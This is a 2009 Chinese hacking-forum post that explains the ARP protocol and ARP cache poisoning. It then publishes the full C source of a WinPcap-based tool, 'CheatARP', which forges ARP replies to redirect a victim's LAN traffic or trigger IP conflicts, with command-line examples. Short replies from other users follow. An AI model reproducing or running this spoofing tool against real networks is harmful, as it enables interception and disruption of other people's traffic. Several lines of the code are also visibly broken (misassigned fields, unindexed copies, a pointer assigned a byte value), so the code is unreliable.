好久没来,给大家【分享】arp 欺骗的技术原理及应用-------中级技术者使用

社区服务
高级搜索
猴岛论坛电脑百科好久没来,给大家【分享】arp 欺骗的技术原理及应用-------中级技术者使用
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
5个回复

好久没来,给大家【分享】arp 欺骗的技术原理及应用-------中级技术者使用

楼层直达
仰望、那片天空

ZxID:9350867

等级: 少校
举报 只看楼主 使用道具 楼主   发表于: 2009-12-03 0
你知道,数据包在局域网上是怎么传输的吗?是靠什么来传输的吗?也许你会说是靠IP地址,那么你只正确了一半。其实真正在传输过程中是靠计算机的网卡地址即MAC来传输。

    现在我们就用实例来模拟一下传输的全过程。现在有一台计算机A(IP:192.168.85.1  MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100  BB-BB-BB-BB-BB-BB  dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。

    好了在了解了上面基本arp通信过程后,现在来学习arp欺骗技术就好理解多了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。

    下面给出一些程序实现的基本算法。先来给出ARP首部和请求应答的数据结构。如下:



以太网  | 以太网 | 帧  | 硬件 | 协议| 硬件 | 协议 | OP| 发送端  |发送端|目的以太|目的

目的地址| 源地址 | 类型| 类型 | 类型| 长度 | 长度 |  |以太网地址|  IP  |网地址  | IP

  6        6        2    2      2      1    1    2    6        4      6        4

|<---以太网首部---->|<-------------------28字节的ARP请求/应答------------->|



然后我们根据上面的数据结构定义两个结构分别如下:

//定义一个以太网头部

typedef struct ehhdr

{

    UCHAR    eh_dst[6];        /* destination ethernet addrress */

    UCHAR    eh_src[6];        /* source ethernet addresss */

    USHORT  eh_type;          /* ethernet pachet type    */

}EHHEADR, *PEHHEADR;

//28字节的ARP请求/应答

typedef struct arphdr

{

    USHORT    arp_hrd;            /* format of hardware address */

    USHORT    arp_pro;            /* format of protocol address */

    UCHAR    arp_hln;            /* length of hardware address */

    UCHAR    arp_pln;            /* length of protocol address */

    USHORT    arp_op;            /* ARP/RARP operation */

    UCHAR    arp_sha[6];        /* sender hardware address */

    ULONG    arp_spa;            /* sender protocol address */

    UCHAR    arp_tha[6];        /* target hardware address */

    ULONG    arp_tpa;            /* target protocol address */

}ARPHEADR, *PARPHEADR;

//把上面定义的两种结构封装起来

typedef struct arpPacket

{

    EHHEADR    ehhdr;

    ARPHEADR  arphdr;

} ARPPACKET, *PARPPACKET;

那么我们自己打造的ARP结构就完成了,剩下的事情就是把我们打造好的结构按照我们的需求赋上值,然后通过适配器发送出去就OK了。

    比如说我们要用C机,去欺骗A机,更新A的ARP缓存中192.168.85.100(B的IP)的MAC为C机的。

    首先定义一个ARPPACKET结构:

    ARPPACKET  ARPPacket;

    ARPPacket.ehhdr.eh_type=htons(0x0806);  //数据类型ARP请求或应答

      ARPPacket.arphdr.arp_hrd = htons(0x0001); //硬件地址为0x0001表示以太网地址

      ARPPacket.arphdr.arp_pro = htons(0x0800); //协议类型字段为0x0800表示IP地址

    ARPPacket.ehhdr.eh_dst=0xAAAAAAAAAAAA  //A机的MAC

    ARPPacket.ehhdr.eh_src=0xCCCCCCCCCCCC    //C机的源MAC

    ARPPacket.arphdr.arp_hln = 6;                 

      ARPPacket.arphdr.arp_pln = 4;

      ARPPacket.arphdr.arp_op = htons(0x0002);      //ARP应答值为2

    ARPPacket.arphdr.arp_spa = 0xCCCCCCCCCCCC //伪造的MAC,在这里C机用的自己的

    ARPPacket.arphdr.arp_tha = 0xAAAAAAAAAAAA //

    ARPPacket.arphdr.arp_spa =inet_addr("192.168.85.100");  //伪造B的IP地址

    ARPPacket.arphdr.arp_tpa = inet_addr("192.168.85.1");  //目标A的IP地址

//把要发送的数据保存在一个缓冲区szPacketBuf中,到时候只要把szPacketBuf的数据发送出去就可以了。

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

要发送数据,首先得打开一个适配器,打开一个适配器又需要先获得适配器的名字。如下:

PacketGetAdapterNames((char*)AdapterName, &AdapterLength); //取得所有适配器的名字.



LPPACKET lpAdapter =PacketOpenAdapter((LPTSTR) AdapterList[0]); //打开第一块适配器

第一块的下标是从0开始的。返回一个指针,它指向一个正确初始化了的ADAPTER Object



lpPacket = PacketAllocatePacket(); //为_PACKET结构分配内存。

PacketInitPacket(lpPacket, szPacketBuf, 60); //packet结构中的buffer设置为传递的szPacketBuf指针

PacketSetNumWrites(lpAdapter, 2); //设置发送次数为2次

//一切就绪发送:

PacketSendPacket(lpAdapter, lpPacket, TRUE); //通过打开的适配器把szPacketBuf的数据发送出去。

PacketFreePacket(lpPacket);        //释放_PACKET结构

PacketCloseAdapter(lpAdapter);      //关闭适配器

然后 在A机上的运行中输入arp -a 会发现原来的 192.168.85.100 BB-BB-BB-BB-BB-BB

变成 192.168.85.100 CC-CC-CC-CC-CC-CC 了。

    另外利用ARP欺骗还可以进行IP冲突,网络执行官就是利用的这个原理,下面只简单介绍一下,如果A机接收到一个ARP应答,其中源IP是192.168.85.1(当然是伪造的),而MAC地址却和A的MAC不同,那么A机就会认为同一个IP对应了两台计算机(因为发现了两个不同的MAC地址)

那么就会出现IP冲突。

CheatARP <desIP> <desMac> <sourceIP> <sourceMac>

比如利用我做的工具:CheatARP 192.168.85.1 AAAAAAAAAAAA 192.168.85.1 BAAAAAAAAAAAA  那么A就会被冲突。

    以上只是代码实现的基本思路和核心代码,有兴趣的朋友可以看看我的源码,源码上也有比较详尽的注释。

 

 

源代码:

/*

ARP 的欺骗的技术原理及应用

请先安装 WinPcap_3_0_a.exe

测试环境2k。

实用平台 NT,2K,XP

*/

#include "stdio.h"

#include "Packet32.h"

#include "wchar.h"

#define EPT_IP 0x0800 /* type: IP */

#define EPT_ARP 0x0806 /* type: ARP */

#define EPT_RARP 0x8035 /* type: RARP */

#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 0x0001 /* ARP request */

#define ARP_REPLY 0x0002 /* ARP reply */

#pragma comment(lib, "packet.lib")

#pragma comment(lib, "ws2_32.lib")

#pragma pack(push, 1)

//定义一个以太网头部

typedef struct ehhdr

{

UCHAR eh_dst[6]; /* destination ethernet addrress */

UCHAR eh_src[6]; /* source ethernet addresss */

USHORT eh_type; /* ethernet pachet type */

}EHHEADR, *PEHHEADR;

//定义一个28字节的arp应答/请求

typedef struct arphdr

{

USHORT arp_hrd; /* format of hardware address */

USHORT arp_pro; /* format of protocol address */

UCHAR arp_hln; /* length of hardware address */

UCHAR arp_pln; /* length of protocol address */

USHORT arp_op; /* ARP/RARP operation */

UCHAR arp_sha[6]; /* sender hardware address */

ULONG arp_spa; /* sender protocol address */

UCHAR arp_tha[6]; /* target hardware address */

ULONG arp_tpa; /* target protocol address */

}ARPHEADR, *PARPHEADR;

//把上面定义的两种结构封装起来

typedef struct arpPacket

{

EHHEADR ehhdr;

ARPHEADR arphdr;

} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

void Usage();

void ChangeMacAddr(char *p, UCHAR a[]);

void banner();

int main(int argc, char* argv[])

{

static CHAR AdapterList[10][1024];

TCHAR szPacketBuf[512];

UCHAR MacAddr[6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

DWORD AdapterNum = 0;

DWORD nRetCode, i;

banner();

if(argc!=5)

{

Usage();

return 0;

}

//取得所有适配器的名字.

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

//AdapterName:一块用户负责分配的缓冲区,将把适配器的名字填充进去,

//一串用一个Unicode的"0"分隔的Unicode字符串,每一个都是一个网卡的名字

//AdapterLength:这块缓冲区的大小

printf("Unable to retrieve the list of the adapters!");

return 0;

}


temp = AdapterName;

temp1=AdapterName;

i = 0;

//把AdapterName中的适配器,分个copy到AdapterList[]中,i从0开始为第一个

while ((*temp != '0')||(*(temp-1) != '0'))

{

if (*temp == '0')

{

memcpy(AdapterList,temp1,(temp-temp1)*sizeof(WCHAR));

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum = i;

for (i = 0; i < AdapterNum; i++)

wprintf(L"%d- %s", i+1, AdapterList);

/* 注意,在这里一定要选择正确的适配器不然会自动重起 */

/* 我机器上的是 */

/* 1- _NdisWanIp */

/* 2- _{02C36709-5318-4861-86DE-A7A81118BFCC} */

/* 选择类似第2项的那种 一定要注意哦! */


printf("select adapter number:");

scanf("%d",&i); //我是输入的2

if(i>AdapterNum)

{

printf("Number error!");

return 0;

}

//打开刚刚选择的那个适配器,AdapterList[i-1]为适配器名字

//如果打开成功,返回一个指针,它指向一个正确初始化了的ADAPTER Object。否则,返回NULL。

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode = GetLastError();

printf("Unable to open the driver, Error Code : %lx", nRetCode);

return 0;

}

//为_PACKET结构分配内存。如果执行成功,返回指向_PACKET结构的指针。否则,返回NULL。

lpPacket = PacketAllocatePacket();

if(lpPacket == NULL)

{

printf(":failed to allocate the LPPACKET structure.");

return 0;

}


memset(szPacketBuf, 0, sizeof(szPacketBuf)); //初始化szPacketBuf为0

ChangeMacAddr(argv[2], MacAddr); //MAC地址转换

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //目的MAC地址


ChangeMacAddr(argv[4], MacAddr); //MAC地址转换

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //源MAC地址。


ARPPacket.ehhdr.eh_type = htons(EPT_ARP); //数据类型ARP请求或应答

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); //硬件地址为0x0001表示以太网地址

ARPPacket.arphdr.arp_pro = htons(EPT_IP); //协议类型字段为0x0800表示IP地址

//硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,

//以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。

ARPPacket.arphdr.arp_hln = 6;

ARPPacket.arphdr.arp_pln = 4;

ARPPacket.arphdr.arp_op = htons(ARP_REPLY); //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4

ChangeMacAddr(argv[4], MacAddr); //MAC地址转换

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的MAC地址

ARPPacket.arphdr.arp_spa = inet_addr(argv[3]); //伪造的IP地址

ChangeMacAddr(argv[2], MacAddr); //MAC地址转换

memset(ARPPacket.arphdr.arp_tha,0,6); //初始化0

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标的MAC地址

ARPPacket.arphdr.arp_tpa = inet_addr(argv[1]); //目标的IP地址


//把刚刚自己伪造的ARPPACKET结构复制到szPacketBuf中

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));


//初始化一个_PACKET结构,即将packet结构中的buffer设置为传递的szPacketBuf指针。

//lpPacket,指向一个_PACKET结构的指针。

//szPacketBuf,一个指向一块用户分配的缓冲区的指针。

//60,缓冲区的大小。这是一个读操作从driver传递到应用的最大数据量。

PacketInitPacket(lpPacket, szPacketBuf, 60);


//设置发送次数2次

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf("warning: Unable to send more than one packet in a single write!");

}

//发送刚刚伪造的数据包

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf("Error sending the packets!");

return 0;

}

printf ("Send ok!");

PacketFreePacket(lpPacket); //释放_PACKET结构

PacketCloseAdapter(lpAdapter); //关闭适配器

return 0;

}

void Usage()

{

printf("CheatARP <DstIP> <DstMAC> <SourceIP> <SourceMAC>");

printf("Such as:");

printf("CheatARP 192.168.85.1 FFFFFFFFFFFF 192.168.85.129 005056E9D042");

printf("CheatARP 192.168.85.1 005056E9D041 192.168.85.129 AAAAAAAAAAAA");

}

//把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址

void ChangeMacAddr(char *p, UCHAR a[])

{

char* p1=NULL;

int i=0;

int high ,low;

char temp[1];

for (i=0; i<6; i++)

{

p1=p+1;

switch (*p1) //计算低位的16进进制

{

case 'A': low=10;

break;

case 'B': low=11;

break;

case 'C': low=12;

break;

case 'D': low=13;

break;

case 'E': low=14;

break;

case 'F': low=15;

break;

default: temp[0]=*p1;

low=atoi(temp); //如果为数字就直接转变成对应的数值

}

switch (*p) //计算高位的16进制

{

case 'A': high=10;

break;

case 'B': high=11;

break;

case 'C': high=12;

break;

case 'D': high=13;

break;

case 'E': high=14;

break;

case 'F': high=15;

break;

default: temp[0]=*p;

high=atoi(temp); //如果为数字就直接转变成对应的数值

}

p+=2; //指针指向下一个X(高)X(低)字符串

a=high*16+low; //求和得16进制值

}

}

void banner()

{

printf("Made By LionD8.");

printf("www.hackerXfiles.com");

}
              回帖是一种美德,记得回帖啊!
仰望、那片天空

ZxID:9350867

等级: 少校
举报 只看该作者 沙发   发表于: 2009-12-03 0
回帖是一种美德,记得回帖啊!
仰望、那片天空

ZxID:9350867

等级: 少校
举报 只看该作者 板凳   发表于: 2009-12-03 0
怎么没人啊
wtqbshr

ZxID:9906554

等级: 列兵
举报 只看该作者 地板   发表于: 2009-12-03 0
ARP 是什么 
a1099399841

ZxID:7924204

等级: 少将

举报 只看该作者 4楼  发表于: 2009-12-03 0
你 发一点 新手 看的 懂 的 东西 好吗

本文来自猴岛论坛 :http://bbs.houdao.com/r4229710_u7924204/
﹏落、魄灬

ZxID:9982820

等级: 少校
    有些东西是注定要过期的,爱情也
举报 只看该作者 5楼  发表于: 2009-12-12 0
他发的不知道是从哪抄来的
« 返回列表
发帖 回复